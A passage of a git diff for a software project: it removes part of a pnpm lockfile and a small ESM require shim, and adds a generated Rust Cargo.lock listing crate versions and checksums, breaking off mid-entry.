universalify@0.1.2: {} - - until-async@3.0.2: {} - - uuid@11.1.0: {} - - vite-node@3.2.4(@types/node@22.19.3)(tsx@4.21.0)(yaml@2.8.2): - dependencies: - cac: 6.7.14 - debug: 4.4.3 - es-module-lexer: 1.7.0 - pathe: 2.0.3 - vite: 7.3.1(@types/node@22.19.3)(tsx@4.21.0)(yaml@2.8.2) - transitivePeerDependencies: - - '@types/node' - - jiti - - less - - lightningcss - - sass - - sass-embedded - - stylus - - sugarss - - supports-color - - terser - - tsx - - yaml - - vite@7.3.1(@types/node@22.19.3)(tsx@4.21.0)(yaml@2.8.2): - dependencies: - esbuild: 0.27.2 - fdir: 6.5.0(picomatch@4.0.3) - picomatch: 4.0.3 - postcss: 8.5.6 - rollup: 4.55.1 - tinyglobby: 0.2.15 - optionalDependencies: - '@types/node': 22.19.3 - fsevents: 2.3.3 - tsx: 4.21.0 - yaml: 2.8.2 - - vitest@3.2.4(@types/node@22.19.3)(@vitest/ui@3.2.4)(msw@2.12.7(@types/node@22.19.3)(typescript@5.9.3))(tsx@4.21.0)(yaml@2.8.2): - dependencies: - '@types/chai': 5.2.3 - '@vitest/expect': 3.2.4 - '@vitest/mocker': 3.2.4(msw@2.12.7(@types/node@22.19.3)(typescript@5.9.3))(vite@7.3.1(@types/node@22.19.3)(tsx@4.21.0)(yaml@2.8.2)) - '@vitest/pretty-format': 3.2.4 - '@vitest/runner': 3.2.4 - '@vitest/snapshot': 3.2.4 - '@vitest/spy': 3.2.4 - '@vitest/utils': 3.2.4 - chai: 5.3.3 - debug: 4.4.3 - expect-type: 1.3.0 - magic-string: 0.30.21 - pathe: 2.0.3 - picomatch: 4.0.3 - std-env: 3.10.0 - tinybench: 2.9.0 - tinyexec: 0.3.2 - tinyglobby: 0.2.15 - tinypool: 1.1.1 - tinyrainbow: 2.0.0 - vite: 7.3.1(@types/node@22.19.3)(tsx@4.21.0)(yaml@2.8.2) - vite-node: 3.2.4(@types/node@22.19.3)(tsx@4.21.0)(yaml@2.8.2) - why-is-node-running: 2.3.0 - optionalDependencies: - '@types/node': 22.19.3 - '@vitest/ui': 3.2.4(vitest@3.2.4) - transitivePeerDependencies: - - jiti - - less - - lightningcss - - msw - - sass - - sass-embedded - - stylus - - sugarss - - supports-color - - terser - - tsx - - yaml - - which@2.0.2: - dependencies: - isexe: 2.0.0 - - why-is-node-running@2.3.0: - dependencies: - siginfo: 2.0.0 - stackback: 0.0.2 - - widest-line@5.0.0: - dependencies: - string-width: 7.2.0 - - wrap-ansi@6.2.0: - dependencies: - ansi-styles: 4.3.0 - string-width: 4.2.3 - strip-ansi: 6.0.1 - - wrap-ansi@7.0.0: - dependencies: - ansi-styles: 4.3.0 - string-width: 4.2.3 - strip-ansi: 6.0.1 - - wrap-ansi@8.1.0: - dependencies: - ansi-styles: 6.2.3 - string-width: 5.1.2 - strip-ansi: 7.1.2 - - wrap-ansi@9.0.2: - dependencies: - ansi-styles: 6.2.3 - string-width: 7.2.0 - strip-ansi: 7.1.2 - - wrappy@1.0.2: {} - - ws@8.19.0: {} - - wsl-utils@0.1.0: - dependencies: - is-wsl: 3.1.0 - - y18n@5.0.8: {} - - yaml@2.8.2: {} - - yargs-parser@21.1.1: {} - - yargs@17.7.2: - dependencies: - cliui: 8.0.1 - escalade: 3.2.0 - get-caller-file: 2.0.5 - require-directory: 2.1.1 - string-width: 4.2.3 - y18n: 5.0.8 - yargs-parser: 21.1.1 - - yoctocolors-cjs@2.1.3: {} - - yoga-layout@3.2.1: {} diff --git a/require-shim.js b/require-shim.js deleted file mode 100644 index 18360cc..0000000 --- a/require-shim.js +++ /dev/null @@ -1,16 +0,0 @@ -/** - * This is necessary because we have transitive dependencies on CommonJS modules - * that use require() conditionally: - * - * https://github.com/tapjs/signal-exit/blob/v3.0.7/index.js#L26-L27 - * - * This is not compatible with ESM, so we need to shim require() to use the - * CommonJS module loader. - */ -import { createRequire } from "node:module"; -import { dirname } from "node:path"; -import { fileURLToPath } from "node:url"; - -globalThis.require = createRequire(import.meta.url); -globalThis.__filename = fileURLToPath(import.meta.url); -globalThis.__dirname = dirname(globalThis.__filename); diff --git a/rust/Cargo.lock b/rust/Cargo.lock new file mode 100644 index 0000000..ea1fffa --- /dev/null +++ b/rust/Cargo.lock @@ -0,0 +1,3888 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "aes" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "aho-corasick" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ddd31a130427c27518df266943a5308ed92d4b226cc639f5a8f1002816174301" +dependencies = [ + "memchr", +] + +[[package]] +name = "android_system_properties" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" +dependencies = [ + "libc", +] + +[[package]] +name = "anstream" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "824a212faf96e9acacdbd09febd34438f8f711fb84e09a8916013cd7815ca28d" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "is_terminal_polyfill", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "940b3a0ca603d1eade50a4846a2afffd5ef57a9feac2c0e2ec2e14f9ead76000" + +[[package]] +name = "anstyle-parse" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52ce7f38b242319f7cabaa6813055467063ecdc9d355bbb4ce0c68908cd8130e" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "40c48f72fd53cd289104fc64099abca73db4166ad86ea0b4341abe65af83dadc" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "291e6a250ff86cd4a820112fb8898808a366d8f9f58ce16d1f538353ad55747d" +dependencies = [ + "anstyle", + "once_cell_polyfill", + "windows-sys 0.61.2", +] + +[[package]] +name = "anyhow" +version = "1.0.102" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f202df86484c868dbad7eaa557ef785d5c66295e41b460ef922eca0723b842c" + +[[package]] +name = "ascii-canvas" +version = "3.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8824ecca2e851cec16968d54a01dd372ef8f95b244fb84b84e70128be347c3c6" +dependencies = [ + "term", +] + +[[package]] +name = "assert-json-diff" +version = "2.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47e4f2b81832e72834d7518d8487a0396a28cc408186a2e8854c0f98011faf12" +dependencies = [ + "serde", + "serde_json", +] + +[[package]] +name = "async-attributes" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a3203e79f4dd9bdda415ed03cf14dae5a2bf775c683a00f94e9cd1faf0f596e5" +dependencies = [ + "quote", + "syn 1.0.109", +] + +[[package]] +name = "async-broadcast" +version = "0.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "435a87a52755b8f27fcf321ac4f04b2802e337c8c4872923137471ec39c37532" +dependencies = [ + "event-listener 5.4.1", + "event-listener-strategy", + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "async-channel" +version = "1.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "81953c529336010edd6d8e358f886d9581267795c61b19475b71314bffa46d35" +dependencies = [ + "concurrent-queue", + "event-listener 2.5.3", + "futures-core", +] + +[[package]] +name = "async-channel" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "924ed96dd52d1b75e9c1a3e6275715fd320f5f9439fb5a4a11fa51f4221158d2" +dependencies = [ + "concurrent-queue", + "event-listener-strategy", + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "async-executor" +version = "1.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c96bf972d85afc50bf5ab8fe2d54d1586b4e0b46c97c50a0c9e71e2f7bcd812a" +dependencies = [ + "async-task", + "concurrent-queue", + "fastrand", + "futures-lite", + "pin-project-lite", + "slab", +] + +[[package]] +name = "async-fs" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8034a681df4aed8b8edbd7fbe472401ecf009251c8b40556b304567052e294c5" +dependencies = [ + "async-lock", + "blocking", + "futures-lite", +] + +[[package]] +name = "async-global-executor" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05b1b633a2115cd122d73b955eadd9916c18c8f510ec9cd1686404c60ad1c29c" +dependencies = [ + "async-channel 2.5.0", + "async-executor", + "async-io", + "async-lock", + "blocking", + "futures-lite", + "once_cell", +] + +[[package]] +name = "async-io" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "456b8a8feb6f42d237746d4b3e9a178494627745c3c56c6ea55d92ba50d026fc" +dependencies = [ + "autocfg", + "cfg-if", + "concurrent-queue", + "futures-io", + "futures-lite", + "parking", + "polling", + "rustix", + "slab", + "windows-sys 0.61.2", +] + +[[package]] +name = "async-lock" +version = "3.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "290f7f2596bd5b78a9fec8088ccd89180d7f9f55b94b0576823bbbdc72ee8311" +dependencies = [ + "event-listener 5.4.1", + "event-listener-strategy", + "pin-project-lite", +] + +[[package]] +name = "async-object-pool" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "333c456b97c3f2d50604e8b2624253b7f787208cb72eb75e64b0ad11b221652c" +dependencies = [ + "async-std", +] + +[[package]] +name = "async-process" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc50921ec0055cdd8a16de48773bfeec5c972598674347252c0399676be7da75" +dependencies = [ + "async-channel 2.5.0", + "async-io", + "async-lock", + "async-signal", + "async-task", + "blocking", + "cfg-if", + "event-listener 5.4.1", + "futures-lite", + "rustix", +] + +[[package]] +name = "async-recursion" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b43422f69d8ff38f95f1b2bb76517c91589a924d1559a0e935d7c8ce0274c11" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "async-signal" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52b5aaafa020cf5053a01f2a60e8ff5dccf550f0f77ec54a4e47285ac2bab485" +dependencies = [ + "async-io", + "async-lock", + "atomic-waker", + "cfg-if", + "futures-core", + "futures-io", + "rustix", + "signal-hook-registry", + "slab", + "windows-sys 0.61.2", +] + +[[package]] +name = "async-std" +version = "1.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c8e079a4ab67ae52b7403632e4618815d6db36d2a010cfe41b02c1b1578f93b" +dependencies = [ + "async-attributes", + "async-channel 1.9.0", + "async-global-executor", + "async-io", + "async-lock", + "async-process", + "crossbeam-utils", + "futures-channel", + "futures-core", + "futures-io", + "futures-lite", + "gloo-timers", + "kv-log-macro", + "log", + "memchr", + "once_cell", + "pin-project-lite", + "pin-utils", + "slab", + "wasm-bindgen-futures", +] + +[[package]] +name = "async-task" +version = "4.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b75356056920673b02621b35afd0f7dda9306d03c79a30f5c56c44cf256e3de" + +[[package]] +name = "async-trait" +version = "0.1.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9035ad2d096bed7955a320ee7e2230574d28fd3c3a0f186cbea1ff3c7eed5dbb" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "atomic-waker" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0" + +[[package]] +name = "autocfg" +version = "1.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53" + +[[package]] +name = "base64" +version = "0.21.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" + +[[package]] +name = "base64" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" + +[[package]] +name = "basic-cookies" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67bd8fd42c16bdb08688243dc5f0cc117a3ca9efeeaba3a345a18a6159ad96f7" +dependencies = [ + "lalrpop", + "lalrpop-util", + "regex", +] + +[[package]] +name = "bit-set" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0700ddab506f33b20a03b13996eccd309a48e5ff77d0d95926aa0210fb4e95f1" +dependencies = [ + "bit-vec 0.6.3", +] + +[[package]] +name = "bit-set" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08807e080ed7f9d5433fa9b275196cfc35414f66a0c79d864dc51a0d825231a3" +dependencies = [ + "bit-vec 0.8.0", +] + +[[package]] +name = "bit-vec" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "349f9b6a179ed607305526ca489b34ad0a41aed5f7980fa90eb03160b69598fb" + +[[package]] +name = "bit-vec" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e764a1d40d510daf35e07be9eb06e75770908c27d411ee6c92109c9840eaaf7" + +[[package]] +name = "bitflags" +version = "2.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4512299f36f043ab09a583e57bceb5a5aab7a73db1805848e8fef3c9e8c78b3" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "block-padding" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8894febbff9f758034a5b8e12d87918f56dfc64a8e1fe757d65e29041538d93" +dependencies = [ + "generic-array", +] + +[[package]] +name = "blocking" +version = "1.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e83f8d02be6967315521be875afa792a316e28d57b5a2d401897e2a7921b7f21" +dependencies = [ + "async-channel 2.5.0", + "async-task", + "futures-io", + "futures-lite", + "piper", +] + +[[package]] +name = "bumpalo" +version = "3.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72f5acc6cb2ba439de613abc23857ec3d78374d8ed5ac84e9d11336e87da8649" + +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + +[[package]] +name = "bytes" +version = "1.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e748733b7cbc798e1434b6ac524f0c1ff2ab456fe201501e6497c8417a4fc33" + +[[package]] +name = "cbc" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26b52a9543ae338f279b96b0b9fed9c8093744685043739079ce85cd58f289a6" +dependencies = [ + "cipher", +] + +[[package]] +name = "cc" +version = "1.2.62" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1dce859f0832a7d088c4f1119888ab94ef4b5d6795d1ce05afb7fe159d79f98" +dependencies = [ + "find-msvc-tools", + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" + +[[package]] +name = "cfg_aliases" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724" + +[[package]] +name = "chrono" +version = "0.4.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c673075a2e0e5f4a1dde27ce9dee1ea4558c7ffe648f576438a20ca1d2acc4b0" +dependencies = [ + "iana-time-zone", + "num-traits", + "serde", + "windows-link", +] + +[[package]] +name = "cipher" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" +dependencies = [ + "crypto-common", + "inout", +] + +[[package]] +name = "clap" +version = "4.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ddb117e43bbf7dacf0a4190fef4d345b9bad68dfc649cb349e7d17d28428e51" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "714a53001bf66416adb0e2ef5ac857140e7dc3a0c48fb28b2f10762fc4b5069f" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim", +] + +[[package]] +name = "clap_derive" +version = "4.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2ce8604710f6733aa641a2b3731eaa1e8b3d9973d5e3565da11800813f997a9" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "clap_lex" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8d4a3bb8b1e0c1050499d1815f5ab16d04f0959b233085fb31653fbfc9d98f9" + +[[package]] +name = "cli-engine" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2da24cf03ad0a4d53abf4c8d0fd5e477eede7ddccda47d1e6358f45c7655d07" +dependencies = [ + "async-trait", + "base64 0.22.1", + "chrono", + "clap", + "jmespath", + "keyring", + "open", + "rand 0.9.4", + "regex", + "reqwest", + "schemars", + "serde", + "serde_json", + "sha2", + "thiserror 2.0.18", + "tokio", + "tracing", + "url", + "zeroize", +] + +[[package]] +name = "colorchoice" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d07550c9036bf2ae0c684c4297d503f838287c83c53686d05370d0e139ae570" + +[[package]] +name = "combine" +version = "4.6.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba5a308b75df32fe02788e748662718f03fde005016435c444eea572398219fd" +dependencies = [ + "bytes", + "memchr", +] + +[[package]] +name = "concurrent-queue" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ca0197aee26d1ae37445ee532fefce43251d24cc7c166799f4d46817f1d3973" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "core-foundation" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2a6cd9ae233e7f62ba4e9353e81a88df7fc8a5987b8d445b4d90c879bd156f6" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" + +[[package]] +name = "cpufeatures" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28" + +[[package]] +name = "crunchy" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "460fbee9c2c2f33933d720630a6a0bac33ba7053db5344fac858d4b8952d77d5" + +[[package]] +name = "crypto-common" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "dbus" +version = "0.9.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b942602992bb7acfd1f51c49811c58a610ef9181b6e66f3e519d79b540a3bf73" +dependencies = [ + "libc", + "libdbus-sys", + "windows-sys 0.61.2", +] + +[[package]] +name = "dbus-secret-service" +version = "4.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "708b509edf7889e53d7efb0ffadd994cc6c2345ccb62f55cfd6b0682165e4fa6" +dependencies = [ + "aes", + "block-padding", + "cbc", + "dbus", + "fastrand", + "hkdf", + "num", + "once_cell", + "sha2", + "zeroize", +] + +[[package]] +name = "deunicode" +version = "1.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "abd57806937c9cc163efc8ea3910e00a62e2aeb0b8119f1793a978088f8f6b04" + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", + "subtle", +] + +[[package]] +name = "dirs-next" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b98cf8ebf19c3d1b223e151f99a4f9f0690dca41414773390fc824184ac833e1" +dependencies = [ + "cfg-if", + "dirs-sys-next", +] + +[[package]] +name = "dirs-sys-next" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ebda144c4fe02d1f7ea1a7d9641b6fc6b580adcfa024ae48797ecdeb6825b4d" +dependencies = [ + "libc", + "redox_users", + "winapi", +] + +[[package]] +name = "displaydoc" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "dyn-clone" +version = "1.0.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0881ea181b1df73ff77ffaaf9c7544ecc11e82fba9b5f27b262a3c73a332555" + +[[package]] +name = "either" +version = "1.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91622ff5e7162018101f2fea40d6ebf4a78bbe5a49736a2020649edf9693679e" + +[[package]] +name = "ena" +version = "0.14.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eabffdaee24bd1bf95c5ef7cec31260444317e72ea56c4c91750e8b7ee58d5f1" +dependencies = [ + "log", +] + +[[package]] +name = "endi" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "66b7e2430c6dff6a955451e2cfc438f09cea1965a9d6f87f7e3b90decc014099" + +[[package]] +name = "enumflags2" +version = "0.7.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1027f7680c853e056ebcec683615fb6fbbc07dbaa13b4d5d9442b146ded4ecef" +dependencies = [ + "enumflags2_derive", + "serde", +] + +[[package]] +name = "enumflags2_derive" +version = "0.7.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67c78a4d8fdf9953a5c9d458f9efe940fd97a0cab0941c075a813ac594733827" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "equivalent" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" + +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "event-listener" +version = "2.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0206175f82b8d6bf6652ff7d71a1e27fd2e4efde587fd368662814d6ec1d9ce0" + +[[package]] +name = "event-listener" +version = "5.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13b66accf52311f30a0db42147dadea9850cb48cd070028831ae5f5d4b856ab" +dependencies = [ + "concurrent-queue", + "parking", + "pin-project-lite", +] + +[[package]] +name = "event-listener-strategy" +version = "0.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8be9f3dfaaffdae2972880079a491a1a8bb7cbed0b8dd7a347f668b4150a3b93" +dependencies = [ + "event-listener 5.4.1", + "pin-project-lite", +] + +[[package]] +name = "fancy-regex" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e24cb5a94bcae1e5408b0effca5cd7172ea3c5755049c5f3af4cd283a165298" +dependencies = [ + "bit-set 0.8.0", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "fastrand" +version = "2.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f1f227452a390804cdb637b74a86990f2a7d7ba4b7d5693aac9b4dd6defd8d6" + +[[package]] +name = "find-msvc-tools" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" + +[[package]] +name = "fixedbitset" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ce7134b9999ecaf8bcd65542e436736ef32ddca1b3e06094cb6ec5755203b80" + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "foldhash" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2" + +[[package]] +name = "form_urlencoded" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb4cb245038516f5f85277875cdaa4f7d2c9a0fa0468de06ed190163b1581fcf" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "futures-channel" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07bbe89c50d7a535e539b8c17bc0b49bdb77747034daa8087407d655f3f7cc1d" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e3450815272ef58cec6d564423f6e755e25379b217b0bc688e295ba24df6b1d" + +[[package]] +name = "futures-io" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cecba35d7ad927e23624b22ad55235f2239cfa44fd10428eecbeba6d6a717718" + +[[package]] +name = "futures-lite" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f78e10609fe0e0b3f4157ffab1876319b5b0db102a2c60dc4626306dc46b44ad" +dependencies = [ + "fastrand", + "futures-core", + "futures-io", + "parking", + "pin-project-lite", +] + +[[package]] +name = "futures-macro" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e835b70203e41293343137df5c0664546da5745f82ec9b84d40be8336958447b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "futures-sink" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c39754e157331b013978ec91992bde1ac089843443c49cbc7f46150b0fad0893" + +[[package]] +name = "futures-task" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "037711b3d59c33004d3856fbdc83b99d4ff37a24768fa1be9ce3538a1cde4393" + +[[package]] +name = "futures-util" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "389ca41296e6190b48053de0321d02a77f32f8a5d2461dd38762c0593805c6d6" +dependencies = [ + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "slab", +] + +[[package]] +name = "generate-api-catalog" +version = "0.1.0" +dependencies = [ + "anyhow", + "chrono", + "graphql-parser", + "reqwest", + "serde", + "serde_json", + "serde_yaml", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0" +dependencies = [ + "cfg-if", + "js-sys", + "libc", + "wasi", + "wasm-bindgen", +] + +[[package]] +name = "getrandom" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "899def5c37c4fd7b2664648c28120ecec138e4d395b459e5ca34f9cce2dd77fd" +dependencies = [ + "cfg-if", + "js-sys", + "libc", + "r-efi 5.3.0", + "wasip2", + "wasm-bindgen", +] + +[[package]] +name = "getrandom" +version = "0.4.2" +source = 